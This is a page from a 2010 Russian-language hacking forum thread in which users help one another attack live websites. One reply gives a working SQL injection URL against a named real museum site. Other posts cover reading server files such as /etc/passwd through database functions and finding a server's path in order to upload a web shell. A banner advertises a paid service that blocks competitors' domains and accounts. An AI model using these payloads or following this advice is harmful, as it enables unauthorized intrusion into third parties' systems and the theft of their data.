Ваши вопросы по уязвимостям.

УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ

Скрыть

		ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
Ваши вопросы по уязвимостям.

Страница 1383 из 2438

1383

Опции темы

Поиск в этой теме

Опции просмотра

#13821

14.06.2010, 13:25

GOGA075

Участник форума

Регистрация: 30.03.2008

Сообщений: 208

С нами: 9534473

Репутация: 18

помогите расскрутить это
http://www.hausderkunst.de/hdk.de/index.php?StoryID=-999999

#13822

14.06.2010, 13:49

Konqi

Постоянный

Регистрация: 24.06.2009

Сообщений: 542

С нами: 8885780

Репутация: 672

ребят вот такой вопрос :

имеется сервер Microsoft-IIS/7.0, язык asp

База : PostgreSQL

через функции Postgre хотел читать файл C:\boot.ini,файл не открылся..(strange strange strange)

просто из за интереса попробовал читать файл /etc/passwd (ну я знаю что в винде такого нету)

и файл открылся!!

как это понять?

реально ли использовать IIS под никcом??

#13823

14.06.2010, 13:50

SeNaP

Участник форума

Регистрация: 07.08.2008

Сообщений: 281

С нами: 9347610

Репутация: 165

Цитата:

Сообщение от GOGA075

помогите расскрутить это
http://www.hausderkunst.de/hdk.de/index.php?StoryID=-999999

http://www.hausderkunst.de/hdk.de/index.php?StoryID=-2+union+select+TABLE_NAME+from+INFORMATION_SCHEMA. TABLES+limit+1,1--
Перебирай limit'ом

#13824

14.06.2010, 13:54

pinch

Участник форума

Регистрация: 13.12.2009

Сообщений: 130

С нами: 8638130

Репутация: 54

как узнать полный путь в никсе имеется возможность читать файлы sql запросом?

#13825

14.06.2010, 14:10

wildshaman

Постоянный

Регистрация: 16.04.2008

Сообщений: 889

С нами: 9510146

Репутация: 1550

Цитата:

Сообщение от pinch

как узнать полный путь в никсе имеется возможность читать файлы sql запросом?

google.ru
site:yourvulnsite.com warning

И в найденных ошибках будет путь

#13826

14.06.2010, 14:13

pinch

Участник форума

Регистрация: 13.12.2009

Сообщений: 130

С нами: 8638130

Репутация: 54

вывод ошибок отключен + через google пробовал

#13827

14.06.2010, 14:14

wildshaman

Постоянный

Регистрация: 16.04.2008

Сообщений: 889

С нами: 9510146

Репутация: 1550

Попробовать найти phpinfo, пооткрывать просто .php файлы без параметров, попроболвать найти раскрытие путей - [] и так далее

#13828

14.06.2010, 14:15

pinch

Участник форума

Регистрация: 13.12.2009

Сообщений: 130

С нами: 8638130

Репутация: 54

сайт на asp, инклуда нет раскрытие тож

#13829

14.06.2010, 14:16

qq6ka

Познающий

Регистрация: 21.05.2010

Сообщений: 37

С нами: 8408116

Репутация: 55

Цитата:

Сообщение от pinch

как узнать полный путь в никсе имеется возможность читать файлы sql запросом?

читай конфиги. Вот тема https://forum.antichat.ru/threadnav49775-4-10.html

#13830

14.06.2010, 14:16

Konqi

Постоянный

Регистрация: 24.06.2009

Сообщений: 542

С нами: 8885780

Репутация: 672

Цитата:

Сообщение от wildshaman

шаман это тот самый сайт o котором я писал выше,сайт на asp, нужно узнать полный путь чтоб залить шелл

Страница 1383 из 2438

1383

« Предыдущая тема | Следующая тема »

Похожие темы
Тема	Автор	Раздел	Ответов	Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился)	PEPSICOLA	Болталка	188	23.05.2010 10:05
Ваши любимые компьютерные игры	PEPSICOLA	Болталка	280	19.08.2009 00:01
Ваши телеги...	F-IFTY	Болталка	13	18.08.2009 18:22
Вопросы по Ipb 2.0	Voodoo_People	Уязвимости CMS / форумов	26	15.02.2005 22:57

Здесь присутствуют: 3 (пользователей: 0 , гостей: 3)

Быстрый переход